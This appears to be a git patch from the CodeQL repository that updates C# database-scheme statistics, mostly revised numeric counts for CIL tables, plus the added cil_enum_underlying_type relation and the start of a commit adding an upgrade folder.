-32220325 +32164355 @@ -34983,7 +34978,7 @@ 1 7 -78 +77 7 @@ -35089,7 +35084,7 @@ 214 313 -78 +77 323 @@ -35140,7 +35135,7 @@ 1 6 -78 +77 7 @@ -35221,22 +35216,22 @@ 1 2 -260789 +260336 2 11 -30644 +30591 11 25 -25530 +25486 25 354308 -15976 +15948 @@ -35252,22 +35247,22 @@ 1 2 -261384 +260930 2 3 -17708 +17677 3 5 -28775 +28725 5 160 -24974 +24930 160 @@ -35288,22 +35283,22 @@ 1 2 -260789 +260336 2 11 -30644 +30591 11 25 -25530 +25486 25 354308 -15976 +15948 @@ -35319,57 +35314,57 @@ 1 2 -84135 +83989 2 3 -252210 +251772 3 4 -332827 +332249 4 5 -196157 +195817 5 6 -107221 +107034 6 9 -158218 +157943 9 14 -151216 +150953 14 21 -134034 +133801 21 35 -131682 +131454 35 106 -129706 +129481 106 68231 -51490 +51400 @@ -35385,57 +35380,57 @@ 1 2 -84135 +83989 2 3 -252498 +252059 3 4 -338805 +338216 4 5 -239806 +239389 5 6 -132624 +132394 6 7 -96466 +96298 7 9 -147995 +147738 9 12 -129042 +128818 12 17 -136001 +135765 17 33 -132278 +132048 33 74 -39247 +39179 @@ -35451,57 +35446,57 @@ 1 2 -84135 +83989 2 3 -252210 +251772 3 4 -332827 +332249 4 5 -196157 +195817 5 6 -107221 +107034 6 9 -158218 +157943 9 14 -151216 +150953 14 21 -134034 +133801 21 35 -131682 +131454 35 106 -129706 +129481 106 68231 -51490 +51400 @@ -35511,15 +35506,15 @@ cil_jump -2007076 +2003590 instruction -2007076 +2003590 target -1607461 +1604668 @@ -35533,7 +35528,7 @@ 1 2 -2007076 +2003590 @@ -35549,17 +35544,17 @@ 1 2 -1393468 +1391047 2 3 -143950 +143700 3 360 -70042 +69921 @@ -35569,15 +35564,15 @@ cil_access -11947142 +11926389 instruction -11947142 +11926389 target -2669502 +2664864 @@ -35591,7 +35586,7 @@ 1 2 -11947142 +11926389 @@ -35607,37 +35602,37 @@ 1 2 -946680 +945036 2 3 -741304 +740017 3 4 -269523 +269055 4 5 -187462 +187136 5 7 -227109 +226715 7 14 -203936 +203581 14 25741 -93484 +93322 @@ -35647,15 +35642,15 @@ cil_value -1887505 +1884226 instruction -1887505 +1884226 value -495769 +494908 @@ -35669,7 +35664,7 @@ 1 2 -1887505 +1884226 @@ -35685,27 +35680,27 @@ 1 2 -334989 +334407 2 3 -79153 +79015 3 6 -40784 +40713 6 33 -37319 +37254 33 86799 -3523 +3517 @@ -35715,19 +35710,19 @@ cil_switch -194762 +194423 instruction -23895 +23854 index -2522 +2518 target -130848 +130621 @@ -35741,42 +35736,42 @@ 3 4 -7031 +7019 4 5 -4601 +4593 5 6 -3235 +3229 6 7 -1688 +1685 7 8 -1444 +1441 8 11 -2161 +2157 11 17 -1849 +1846 17 128 -1795 +1792 141 @@ -35797,42 +35792,42 @@ 1 3 -1058 +1057 3 4 -8261 +8246 4 5 -5499 +5489 5 6 -2576 +2571 6 7 -1844 +1841 7 9 -1703 +1700 9 14 -1800 +1797 14 204 -1151 +1149 @@ -35853,7 +35848,7 @@ 2 3 -990 +988 3 @@ -35863,7 +35858,7 @@ 4 5 -361 +360 6 @@ -35878,17 +35873,17 @@ 18 24 -190 +189 25 47 -200 +199 47 225 -190 +189 238 @@ -35909,12 +35904,12 @@ 1 2 -39 +38 2 3 -975 +974 3 @@ -35924,7 +35919,7 @@ 4 5 -312 +311 5 @@ -35944,12 +35939,12 @@ 24 47 -195 +194 47 271 -190 +189 289 @@ -35970,12 +35965,12 @@ 1 2 -129213 +128989 2 12 -1634 +1631 @@ -35991,17 +35986,17 @@ 1 2 -118434 +118228 2 7 -10017 +10000 7 253 -2395 +2391 @@ -36079,15 +36074,15 @@ cil_type_location -277858 +277375 id -255445 +255002 loc -3420 +3414 @@ -36101,12 +36096,12 @@ 1 2 -233033 +232628 2 3 -22412 +22373 @@ -36132,7 +36127,7 @@ 4 6 -234 +233 6 @@ -36142,17 +36137,17 @@ 9 13 -273 +272 13 17 -268 +267 17 23 -283 +282 23 @@ -36162,7 +36157,7 @@ 32 43 -268 +267 43 @@ -36192,15 +36187,15 @@ cil_method_location -1887461 +1884182 id -1799842 +1796715 loc -3132 +3127 @@ -36214,12 +36209,12 @@ 1 2 -1712222 +1709248 2 3 -87619 +87467 @@ -36255,12 +36250,12 @@ 53 79 -239 +238 80 107 -239 +238 107 @@ -36275,22 +36270,22 @@ 204 278 -239 +238 281 385 -239 +238 388 734 -239 +238 735 1631 -239 +238 1646 @@ -36305,15 +36300,15 @@ cil_type -796235 +794852 id -796235 +794852 name -179401 +179089 kind @@ -36321,11 +36316,11 @@ parent -155715 +155444 sourceDecl -465466 +464658 @@ -36339,7 +36334,7 @@ 1 2 -796235 +794852 @@ -36355,7 +36350,7 @@ 1 2 -796235 +794852 @@ -36371,7 +36366,7 @@ 1 2 -796235 +794852 @@ -36387,7 +36382,7 @@ 1 2 -796235 +794852 @@ -36403,22 +36398,22 @@ 1 2 -137914 +137674 2 3 -22534 +22495 3 7 -14175 +14150 7 21324 -4777 +4768 @@ -36434,7 +36429,7 @@ 1 2 -179401 +179089 @@ -36450,17 +36445,17 @@ 1 2 -162722 +162439 2 4 -13667 +13644 4 21324 -3010 +3005 @@ -36476,17 +36471,17 @@ 1 2 -146390 +146135 2 3 -22558 +22519 3 21324 -10452 +10434 @@ -36626,27 +36621,27 @@ 1 2 -101965 +101788 2 3 -26843 +26796 3 6 -13365 +13342 6 33 -11720 +11700 33 26080 -1820 +1816 @@ -36662,27 +36657,27 @@ 1 2 -102541 +102363 2 3 -27262 +27215 3 6 -13262 +13239 6 38 -11706 +11685 38 1430 -941 +940 @@ -36698,12 +36693,12 @@ 1 2 -152504 +152239 2 4 -3210 +3205 @@ -36719,27 +36714,27 @@ 1 2 -102438 +102260 2 3 -27282 +27234 3 6 -13170 +13147 6 38 -11686 +11666 38 3477 -1136 +1134 @@ -36755,12 +36750,12 @@ 1 2 -438633 +437871 2 3705 -26833 +26786 @@ -36776,7 +36771,7 @@ 1 2 -465466 +464658 @@ -36792,7 +36787,7 @@ 1 2 -465466 +464658 @@ -36808,12 +36803,12 @@ 1 2 -457127 +456333 2 225 -8339 +8324 @@ -36823,15 +36818,15 @@ cil_pointer_type -624 +623 id -624 +623 pointee -624 +623 @@ -36845,7 +36840,7 @@ 1 2 -624 +623 @@ -36861,7 +36856,7 @@ 1 2 -624 +623 @@ -36871,15 +36866,15 @@ cil_array_type -14194 +14170 id -14194 +14170 element_type -14116 +14092 rank @@ -36897,7 +36892,7 @@ 1 2 -14194 +14170 @@ -36913,7 +36908,7 @@ 1 2 -14194 +14170 @@ -36929,7 +36924,7 @@ 1 2 -14043 +14019 2 @@ -36950,7 +36945,7 @@ 1 2 -14043 +14019 2 @@ -37017,23 +37012,23 @@ cil_method -2315906 +2311883 id -2315906 +2311883 name -440439 +439674 parent -380604 +379943 return_type -214246 +213874 @@ -37047,7 +37042,7 @@ 1 2 -2315906 +2311883 @@ -37063,7 +37058,7 @@ 1 2 -2315906 +2311883 @@ -37079,7 +37074,7 @@ 1 2 -2315906 +2311883 @@ -37095,27 +37090,27 @@ 1 2 -271373 +270901 2 3 -79699 +79561 3 4 -25071 +25028 4 7 -33533 +33474 7 64064 -30761 +30708 @@ -37131,27 +37126,27 @@ 1 2 -285392 +284896 2 3 -76664 +76531 3 5 -39920 +39851 5 25 -33201 +33143 25 52725 -5260 +5251 @@ -37167,17 +37162,17 @@ 1 2 -384596 +383928 2 4 -40281 +40211 4 2803 -15561 +15534 @@ -37193,42 +37188,42 @@ 1 2 -108109 +107921 2 3 -84613 +84466 3 4 -50065 +49978 4 5 -28560 +28511 5 7 -30898 +30844 7 11 -32957 +32900 11 21 -28999 +28949 21 3536 -16400 +16372 @@ -37244,42 +37239,42 @@ 1 2 -114506 +114307 2 3 -86770 +86619 3 4 -50568 +50480 4 5 -28951 +28900 5 7 -32913 +32856 7 11 -30049 +29996 11 26 -28726 +28676 26 1885 -8119 +8105 @@ -37295,32 +37290,32 @@ 1 2 -162361 +162079 2 3 -93806 +93643 3 4 -46449 +46368 4 5 -23324 +23284 5 7 -28428 +28379 7 1924 -26233 +26187 @@ -37336,27 +37331,27 @@ 1 2 -132126 +131897 2 3 -38295 +38229 3 5 -18859 +18827 5 13 -16581 +16552 13 190707 -8383 +8368 @@ -37372,22 +37367,22 @@ 1 2 -153724 +153457 2 3 -30380 +30328 3 6 -19167 +19134 6 28461 -10974 +10955 @@ -37403,22 +37398,22 @@ 1 2 -145565 +145312 2 3 -35431 +35369 3 5 -17571 +17541 5 62018 -15678 +15651 @@ -37428,15 +37423,15 @@ cil_method_source_declaration -2109413 +2105749 method -2109413 +2105749 source -1866513 +1863270 @@ -37450,7 +37445,7 @@ 1 2 -2109413 +2105749 @@ -37466,12 +37461,12 @@ 1 2 -1761448 +1758389 2 1021 -105064 +104881 @@ -37481,19 +37476,19 @@ cil_method_implementation -1728901 +1725898 id -1728901 +1725898 method -1641926 +1639074 location -3098 +3093 @@ -37507,7 +37502,7 @@ 1 2 -1728901 +1725898 @@ -37523,7 +37518,7 @@ 1 2 -1728901 +1725898 @@ -37539,12 +37534,12 @@ 1 2 -1554951 +1552249 2 3 -86975 +86824 @@ -37560,12 +37555,12 @@ 1 2 -1554951 +1552249 2 3 -86975 +86824 @@ -37581,22 +37576,22 @@ 1 11 -273 +272 11 22 -239 +238 22 36 -239 +238 36 50 -234 +233 50 @@ -37611,17 +37606,17 @@ 104 133 -239 +238 133 192 -234 +233 192 271 -234 +233 271 @@ -37631,17 +37626,17 @@ 372 654 -234 +233 682 1597 -239 +238 1599 33053 -190 +189 @@ -37657,22 +37652,22 @@ 1 11 -273 +272 11 22 -239 +238 22 36 -239 +238 36 50 -234 +233 50 @@ -37687,17 +37682,17 @@ 104 133 -239 +238 133 192 -234 +233 192 271 -234 +233 271 @@ -37707,17 +37702,17 @@ 372 654 -234 +233 682 1597 -239 +238 1599 33053 -190 +189 @@ -37727,15 +37722,15 @@ cil_implements -107250 +107063 id -106489 +106304 decl -17752 +17721 @@ -37749,12 +37744,12 @@ 1 2 -105727 +105544 2 3 -761 +759 @@ -37770,27 +37765,27 @@ 1 2 -11555 +11534 2 3 -2708 +2703 3 5 -1581 +1578 5 18 -1332 +1329 18 2180 -575 +574 @@ -37800,23 +37795,23 @@ cil_field -1010179 +1008424 id -1010179 +1008424 parent -201486 +201136 name -361476 +360848 field_type -166143 +165854 @@ -37830,7 +37825,7 @@ 1 2 -1010179 +1008424 @@ -37846,7 +37841,7 @@ 1 2 -1010179 +1008424 @@ -37862,7 +37857,7 @@ 1 2 -1010179 +1008424 @@ -37878,47 +37873,47 @@ 1 2 -60722 +60617 2 3 -41101 +41030 3 4 -22329 +22290 4 5 -15507 +15480 5 6 -11730 +11710 6 8 -16976 +16946 8 12 -17883 +17852 12 227 -15117 +15090 237 4205 -117 +116 @@ -37934,47 +37929,47 @@ 1 2 -60722 +60617 2 3 -41101 +41030 3 4 -22329 +22290 4 5 -15507 +15480 5 6 -11730 +11710 6 8 -16976 +16946 8 12 -17883 +17852 12 227 -15117 +15090 237 4205 -117 +116 @@ -37990,37 +37985,37 @@ 1 2 -70525 +70403 2 3 -59858 +59754 3 4 -20455 +20420 4 5 -11481 +11461 5 7 -15712 +15685 7 11 -16083 +16055 11 132 -7368 +7355 @@ -38036,22 +38031,22 @@ 1 2 -262296 +261841 2 3 -55447 +55351 3 7 -30122 +30069 7 5664 -13609 +13585 @@ -38067,22 +38062,22 @@ 1 2 -262296 +261841 2 3 -55447 +55351 3 7 -30122 +30069 7 5664 -13609 +13585 @@ -38098,17 +38093,17 @@ 1 2 -305921 +305389 2 3 -34113 +34054 3 2790 -21441 +21404 @@ -38124,32 +38119,32 @@ 1 2 -82759 +82615 2 3 -43838 +43762 3 4 -8973 +8958 4 7 -15283 +15256 7 31 -12560 +12538 31 21103 -2727 +2722 @@ -38165,22 +38160,22 @@ 1 2 -96861 +96693 2 3 -44566 +44488 3 6 -14253 +14228 6 12257 -10462 +10443 @@ -38196,27 +38191,27 @@ 1 2 -120015 +119807 2 3 -17991 +17960 3 5 -13262 +13239 5 20 -12487 +12465 20 8901 -2386 +2382 @@ -38226,23 +38221,23 @@ cil_parameter -4554714 +4546802 id -4554714 +4546802 method -2224236 +2220373 index -200 +199 param_type -553515 +552554 @@ -38256,7 +38251,7 @@ 1 2 -4554714 +4546802 @@ -38272,7 +38267,7 @@ 1 2 -4554714 +4546802 @@ -38288,7 +38283,7 @@ 1 2 -4554714 +4546802 @@ -38304,27 +38299,27 @@ 1 2 -902114 +900547 2 3 -788803 +787433 3 4 -325215 +324650 4 7 -175243 +174939 7 42 -32859 +32802 @@ -38340,27 +38335,27 @@ 1 2 -902114 +900547 2 3 -788803 +787433 3 4 -325215 +324650 4 7 -175243 +174939 7 42 -32859 +32802 @@ -38376,22 +38371,22 @@ 1 2 -950232 +948582 2 3 -799329 +797940 3 4 -313557 +313013 4 23 -161116 +160837 @@ -38640,42 +38635,42 @@ 1 2 -185734 +185412 2 3 -137309 +137070 3 4 -45097 +45019 4 5 -38520 +38453 5 7 -43931 +43855 7 11 -42858 +42783 11 27 -41935 +41863 27 58009 -18127 +18096 @@ -38691,42 +38686,42 @@ 1 2 -188945 +188617 2 3 -136006 +135769 3 4 -45512 +45433 4 5 -37300 +37235 5 7 -44380 +44303 7 11 -42916 +42842 11 28 -41774 +41702 28 46067 -16678 +16649 @@ -38742,22 +38737,22 @@ 1 2 -386274 +385603 2 3 -110026 +109835 3 4 -44546 +44469 4 36 -12667 +12645 @@ -38767,37 +38762,37 @@ cil_parameter_in -32410 +32354 id -32410 +32354 cil_parameter_out -46108 +46027 id -46108 +46027 cil_setter -106952 +106766 prop -106952 +106766 method -106952 +106766 @@ -38811,7 +38806,7 @@ 1 2 -106952 +106766 @@ -38827,7 +38822,7 @@ 1 2 -106952 +106766 @@ -38837,15 +38832,15 @@ cil_getter -380053 +379392 prop -380053 +379392 method -380053 +379392 @@ -38859,7 +38854,7 @@ 1 2 -380053 +379392 @@ -38875,7 +38870,7 @@ 1 2 -380053 +379392 @@ -38885,15 +38880,15 @@ cil_adder -20909 +20873 event -20909 +20873 method -20909 +20873 @@ -38907,7 +38902,7 @@ 1 2 -20909 +20873 @@ -38923,7 +38918,7 @@ 1 2 -20909 +20873 @@ -38933,15 +38928,15 @@ cil_remover -20909 +20873 event -20909 +20873 method -20909 +20873 @@ -38955,7 +38950,7 @@ 1 2 -20909 +20873 @@ -38971,7 +38966,7 @@ 1 2 -20909 +20873 @@ -39029,23 +39024,23 @@ cil_property -380599 +379938 id -380599 +379938 parent -93821 +93658 name -106425 +106240 property_type -49914 +49827 @@ -39059,7 +39054,7 @@ 1 2 -380599 +379938 @@ -39075,7 +39070,7 @@ 1 2 -380599 +379938 @@ -39091,7 +39086,7 @@ 1 2 -380599 +379938 @@ -39107,42 +39102,42 @@ 1 2 -28916 +28866 2 3 -22314 +22275 3 4 -11433 +11413 4 5 -8466 +8451 5 6 -5748 +5738 6 9 -8676 +8660 9 25 -7109 +7097 25 1883 -1156 +1154 @@ -39158,42 +39153,42 @@ 1 2 -33669 +33611 2 3 -17820 +17789 3 4 -11330 +11310 4 5 -8475 +8461 5 6 -5728 +5718 6 8 -6636 +6624 8 15 -7226 +7214 15 1883 -2932 +2927 @@ -39209,32 +39204,32 @@ 1 2 -35118 +35057 2 3 -25803 +25758 3 4 -13497 +13473 4 5 -8114 +8100 5 8 -7768 +7754 8 50 -3518 +3512 @@ -39250,17 +39245,53 @@ 1 2 -62742 +62633 2 3 -21470 +21433 3 4 -6489 +6478 + + +4 +8 +8758 + + +8 +2134 +6936 + + + + + + +name +parent + + +12 + + +1 +2 +62633 + + +2 +3 +21506 + + +3 +4 +6454 4 @@ -39269,44 +39300,8 @@ 8 -2134 -6948 - - - - - - -name -parent - - -12 - - -1 -2 -62742 - - -2 -3 -21543 - - -3 -4 -6465 - - -4 -8 -8788 - - -8 1400 -6885 +6873 @@ -39322,17 +39317,17 @@ 1 2 -89566 +89410 2 3 -10989 +10969 3 568 -5870 +5860 @@ -39348,27 +39343,27 @@ 1 2 -31473 +31419 2 3 -7529 +7516 3 4 -3186 +3180 4 8 -4372 +4364 8 15452 -3352 +3346 @@ -39384,27 +39379,27 @@ 1 2 -33264 +33206 2 3 -7041 +7029 3 4 -3049 +3044 4 8 -3869 +3862 8 5858 -2688 +2684 @@ -39420,22 +39415,22 @@ 1 2 -39998 +39929 2 3 -5318 +5309 3 12 -3806 +3799 12 6253 -790 +789 @@ -39445,23 +39440,23 @@ cil_event -20880 +20843 id -20880 +20843 parent -6470 +6459 name -13087 +13064 event_type -6807 +6795 @@ -39475,7 +39470,7 @@ 1 2 -20880 +20843 @@ -39491,7 +39486,7 @@ 1 2 -20880 +20843 @@ -39507,7 +39502,7 @@ 1 2 -20880 +20843 @@ -39523,12 +39518,12 @@ 1 2 -5753 +5743 2 7 -492 +491 7 @@ -39549,12 +39544,12 @@ 1 2 -5753 +5743 2 7 -492 +491 7 @@ -39575,7 +39570,7 @@ 1 2 -5928 +5918 2 @@ -39601,17 +39596,17 @@ 1 2 -11677 +11656 2 4 -966 +964 4 566 -444 +443 @@ -39627,17 +39622,17 @@ 1 2 -11677 +11656 2 4 -966 +964 4 566 -444 +443 @@ -39653,12 +39648,12 @@ 1 2 -12491 +12470 2 566 -595 +594 @@ -39674,22 +39669,22 @@ 1 2 -946 +945 2 3 -4523 +4515 3 4 -585 +584 4 8 -575 +574 8 @@ -39710,12 +39705,12 @@ 1 2 -1424 +1422 2 3 -5094 +5085 3 @@ -39736,22 +39731,22 @@ 1 2 -1312 +1310 2 3 -4352 +4345 3 4 -497 +496 4 10 -531 +530 10 @@ -39766,23 +39761,23 @@ cil_local_variable -1152739 +1150736 id -1152739 +1150736 impl -349257 +348650 index -692 +691 var_type -154519 +154251 @@ -39796,7 +39791,7 @@ 1 2 -1152739 +1150736 @@ -39812,7 +39807,7 @@ 1 2 -1152739 +1150736 @@ -39828,7 +39823,7 @@ 1 2 -1152739 +1150736 @@ -39844,37 +39839,37 @@ 1 2 -140149 +139905 2 3 -62142 +62034 3 4 -49406 +49320 4 5 -23515 +23474 5 7 -31932 +31877 7 12 -28907 +28856 12 143 -13204 +13181 @@ -39890,37 +39885,37 @@ 1 2 -140149 +139905 2 3 -62142 +62034 3 4 -49406 +49320 4 5 -23515 +23474 5 7 -31932 +31877 7 12 -28907 +28856 12 143 -13204 +13181 @@ -39936,32 +39931,32 @@ 1 2 -168856 +168562 2 3 -70140 +70018 3 4 -37900 +37834 4 5 -20641 +20605 5 7 -27740 +27692 7 47 -23978 +23937 @@ -40195,37 +40190,37 @@ 1 2 -81427 +81285 2 3 -27306 +27259 3 4 -8383 +8368 4 5 -11847 +11827 5 8 -12809 +12786 8 76 -11598 +11578 76 35710 -1146 +1144 @@ -40241,32 +40236,32 @@ 1 2 -85467 +85318 2 3 -31054 +31000 3 4 -8397 +8383 4 5 -11716 +11695 5 14 -12043 +12022 14 21451 -5840 +5830 @@ -40282,27 +40277,27 @@ 1 2 -96788 +96620 2 3 -28736 +28686 3 4 -13789 +13765 4 9 -11896 +11875 9 122 -3308 +3302 @@ -40312,19 +40307,19 @@ cil_handler -101638 +101462 id -101638 +101462 impl -71555 +71431 index -78 +77 kind @@ -40332,15 +40327,15 @@ try_start -97793 +97623 try_end -100013 +99840 handler_start -101638 +101462 @@ -40354,7 +40349,7 @@ 1 2 -101638 +101462 @@ -40370,7 +40365,7 @@ 1 2 -101638 +101462 @@ -40386,7 +40381,7 @@ 1 2 -101638 +101462 @@ -40402,7 +40397,7 @@ 1 2 -101638 +101462 @@ -40418,7 +40413,7 @@ 1 2 -101638 +101462 @@ -40434,7 +40429,7 @@ 1 2 -101638 +101462 @@ -40450,22 +40445,22 @@ 1 2 -53876 +53782 2 3 -11174 +11155 3 5 -5435 +5426 5 17 -1068 +1066 @@ -40481,22 +40476,22 @@ 1 2 -53876 +53782 2 3 -11174 +11155 3 5 -5435 +5426 5 17 -1068 +1066 @@ -40512,12 +40507,12 @@ 1 2 -61976 +61869 2 3 -9354 +9338 3 @@ -40538,17 +40533,17 @@ 1 2 -54906 +54810 2 3 -10867 +10848 3 7 -5538 +5528 7 @@ -40569,22 +40564,22 @@ 1 2 -54427 +54333 2 3 -11086 +11067 3 6 -5533 +5523 6 16 -507 +506 @@ -40600,22 +40595,22 @@ 1 2 -53876 +53782 2 3 -11174 +11155 3 5 -5435 +5426 5 17 -1068 +1066 @@ -41278,12 +41273,12 @@ 1 2 -94489 +94325 2 8 -3303 +3297 @@ -41299,7 +41294,7 @@ 1 2 -97793 +97623 @@ -41315,12 +41310,12 @@ 1 2 -94489 +94325 2 8 -3303 +3297 @@ -41336,12 +41331,12 @@ 1 2 -95529 +95363 2 4 -2264 +2260 @@ -41357,12 +41352,12 @@ 1 2 -95573 +95407 2 3 -2220 +2216 @@ -41378,12 +41373,12 @@ 1 2 -94489 +94325 2 8 -3303 +3297 @@ -41399,12 +41394,12 @@ 1 2 -98784 +98612 2 7 -1229 +1227 @@ -41420,7 +41415,7 @@ 1 2 -100013 +99840 @@ -41436,12 +41431,12 @@ 1 2 -98784 +98612 2 7 -1229 +1227 @@ -41457,7 +41452,7 @@ 1 2 -99838 +99664 2 @@ -41478,7 +41473,7 @@ 1 2 -100013 +99840 @@ -41494,12 +41489,12 @@ 1 2 -98784 +98612 2 7 -1229 +1227 @@ -41515,7 +41510,7 @@ 1 2 -101638 +101462 @@ -41531,7 +41526,7 @@ 1 2 -101638 +101462 @@ -41547,7 +41542,7 @@ 1 2 -101638 +101462 @@ -41563,7 +41558,7 @@ 1 2 -101638 +101462 @@ -41579,7 +41574,7 @@ 1 2 -101638 +101462 @@ -41595,7 +41590,7 @@ 1 2 -101638 +101462 @@ -41605,15 +41600,15 @@ cil_handler_filter -810 +808 id -810 +808 filter_start -810 +808 @@ -41627,7 +41622,7 @@ 1 2 -810 +808 @@ -41643,7 +41638,7 @@ 1 2 -810 +808 @@ -41653,15 +41648,15 @@ cil_handler_type -43887 +43811 id -43887 +43811 catch_type -1263 +1261 @@ -41675,7 +41670,7 @@ 1 2 -43887 +43811 @@ -41691,12 +41686,12 @@ 1 2 -439 +438 2 3 -268 +267 3 @@ -41736,15 +41731,15 @@ cil_method_stack_size -1728901 +1725898 method -1728901 +1725898 size -161 +160 @@ -41758,7 +41753,7 @@ 1 2 -1728901 +1725898 @@ -41839,110 +41834,110 @@ cil_public -1913382 +1910058 id -1913382 +1910058 cil_private -929992 +928376 id -929992 +928376 cil_protected -1820619 +1817457 id -1820619 +1817457 cil_internal -41740 +41668 id -41740 +41668 cil_static -795957 +794574 id -795957 +794574 cil_sealed -357025 +356405 id -357025 +356405 cil_virtual -678493 +677315 id -678493 +677315 cil_abstract -165401 +165114 id -165401 +165114 cil_class -238874 +238459 id -238874 +238459 cil_interface -16571 +16542 id -16571 +16542 @@ -41971,37 +41966,37 @@ cil_specialname -812060 +810649 id -812060 +810649 cil_newslot -422828 +422093 id -422828 +422093 cil_base_class -235888 +235478 id -235888 +235478 base -21436 +21399 @@ -42015,7 +42010,7 @@ 1 2 -235888 +235478 @@ -42031,27 +42026,27 @@ 1 2 -12330 +12309 2 3 -3864 +3857 3 4 -1615 +1612 4 7 -1893 +1890 7 84 -1610 +1607 86 @@ -42066,15 +42061,15 @@ cil_base_interface -125368 +125150 id -68686 +68566 base -31234 +31180 @@ -42088,27 +42083,27 @@ 1 2 -47757 +47674 2 3 -8124 +8110 3 5 -6270 +6259 5 9 -5382 +5372 9 25 -1151 +1149 @@ -42124,27 +42119,110 @@ 1 2 -22505 +22465 2 3 -3435 +3429 3 5 -2522 +2518 5 30 -2347 +2343 30 2180 -424 +423 + + + + + + + + +cil_enum_underlying_type +14063 + + +id +14063 + + +underlying +38 + + + + +id +underlying + + +12 + + +1 +2 +14063 + + + + + + +underlying +id + + +12 + + +5 +6 +4 + + +6 +7 +4 + + +25 +26 +4 + + +31 +32 +4 + + +41 +42 +4 + + +173 +174 +4 + + +291 +292 +4 + + +2315 +2316 +4 @@ -42154,11 +42232,11 @@ cil_type_parameter -185095 +184774 unbound -104049 +103868 index @@ -42166,7 +42244,7 @@ param -185095 +184774 @@ -42180,22 +42258,22 @@ 1 2 -75083 +74953 2 3 -19025 +18992 3 13 -8168 +8154 13 22 -1771 +1768 @@ -42211,22 +42289,22 @@ 1 2 -75083 +74953 2 3 -19025 +18992 3 13 -8168 +8154 13 22 -1771 +1768 @@ -42474,7 +42552,7 @@ 1 2 -185095 +184774 @@ -42490,7 +42568,7 @@ 1 2 -185095 +184774 @@ -42500,11 +42578,11 @@ cil_type_argument -738342 +737060 bound -482155 +481317 index @@ -42512,7 +42590,7 @@ t -252625 +252186 @@ -42526,17 +42604,17 @@ 1 2 -336746 +336161 2 3 -117556 +117351 3 22 -27853 +27804 @@ -42552,17 +42630,17 @@ 1 2 -341659 +341066 2 3 -115438 +115237 3 22 -25057 +25013 @@ -42790,27 +42868,27 @@ 1 2 -100487 +100312 2 3 -72873 +72746 3 4 -42560 +42486 4 6 -20138 +20103 6 4208 -16566 +16537 @@ -42826,17 +42904,17 @@ 1 2 -191126 +190794 2 3 -55579 +55482 3 20 -5919 +5908 @@ -42937,19 +43015,19 @@ cil_attribute -328870 +328299 attributeid -328870 +328299 element -249029 +248596 constructor -3381 +3375 @@ -42963,7 +43041,7 @@ 1 2 -328870 +328299 @@ -42979,7 +43057,7 @@ 1 2 -328870 +328299 @@ -42995,17 +43073,17 @@ 1 2 -197690 +197346 2 3 -36758 +36694 3 92 -14580 +14555 @@ -43021,17 +43099,17 @@ 1 2 -213573 +213202 2 3 -31049 +30995 3 7 -4406 +4398 @@ -43047,12 +43125,12 @@ 1 2 -556 +555 2 3 -400 +399 3 @@ -43062,12 +43140,12 @@ 4 5 -317 +316 5 8 -307 +306 8 @@ -43077,7 +43155,7 @@ 11 19 -268 +267 19 @@ -43113,22 +43191,22 @@ 1 2 -600 +599 2 3 -385 +384 3 4 -283 +282 4 5 -317 +316 5 @@ -43138,7 +43216,7 @@ 7 10 -283 +282 10 @@ -43163,7 +43241,7 @@ 152 15028 -239 +238 @@ -43173,11 +43251,11 @@ cil_attribute_named_argument -3845 +3838 attribute_id -3352 +3346 param @@ -43185,7 +43263,7 @@ value -1093 +1091 @@ -43199,12 +43277,12 @@ 1 2 -2932 +2927 2 3 -346 +345 3 @@ -43225,12 +43303,12 @@ 1 2 -2932 +2927 2 3 -405 +404 3 @@ -43368,12 +43446,12 @@ 1 2 -722 +720 2 3 -239 +238 3 @@ -43399,7 +43477,7 @@ 1 2 -1063 +1061 2 @@ -43414,11 +43492,11 @@ cil_attribute_positional_argument -87287 +87135 attribute_id -84110 +83964 index @@ -43426,7 +43504,7 @@ value -15004 +14978 @@ -43440,12 +43518,12 @@ 1 2 -81422 +81280 2 7 -2688 +2684 @@ -43461,12 +43539,12 @@ 1 2 -81431 +81290 2 7 -2678 +2674 @@ -43559,22 +43637,22 @@ 1 2 -11647 +11627 2 3 -1864 +1860 3 9 -1146 +1144 9 5463 -346 +345 @@ -43590,12 +43668,12 @@ 1 2 -14843 +14818 2 6 -161 +160 @@ -43605,19 +43683,19 @@ metadata_handle -6187593 +6176845 entity -5695873 +5685979 location -3420 +3414 handle -274530 +274053 @@ -43631,17 +43709,17 @@ 1 2 -5222365 +5213293 2 3 -464476 +463669 3 638 -9032 +9016 @@ -43657,12 +43735,12 @@ 1 2 -5454657 +5445181 2 59 -241216 +240797 @@ -43688,7 +43766,7 @@ 36 79 -268 +267 79 @@ -43764,12 +43842,12 @@ 3 20 -283 +282 20 46 -268 +267 46 @@ -43835,62 +43913,62 @@ 1 2 -18962 +18929 2 3 -45088 +45009 3 5 -23949 +23907 5 6 -17537 +17507 6 7 -30180 +30128 7 9 -19001 +18968 9 11 -22119 +22081 11 13 -21065 +21028 13 21 -21494 +21457 21 39 -21158 +21121 39 83 -20601 +20566 83 1061 -13370 +13347 @@ -43906,52 +43984,52 @@ 1 2 -62996 +62887 2 3 -21124 +21087 3 4 -47054 +46972 4 5 -18962 +18929 5 6 -19425 +19392 6 7 -22095 +22056 7 11 -23324 +23284 11 19 -22026 +21988 19 41 -20884 +20848 41 702 -16634 +16605 From 2d2b919651c522318e62fd6a341bbc32cc5ed196 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 8 Dec 2020 16:08:29 +0100 Subject: [PATCH 0199/1241] Add DB upgrade folder --- .../old.dbscheme | 1890 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1891 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 3783 insertions(+) create mode 100644 csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/old.dbscheme create mode 100644 csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/upgrade.properties diff --git a/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/old.dbscheme b/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/old.dbscheme new file mode 100644 index 00000000000..eedef9359e1 --- /dev/null +++ b/csharp/upgrades/eedef9359e1e4e1ebcf2a1dc9d2ae75d4ea4d160/old.dbscheme @@ -0,0 +1,1890 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while 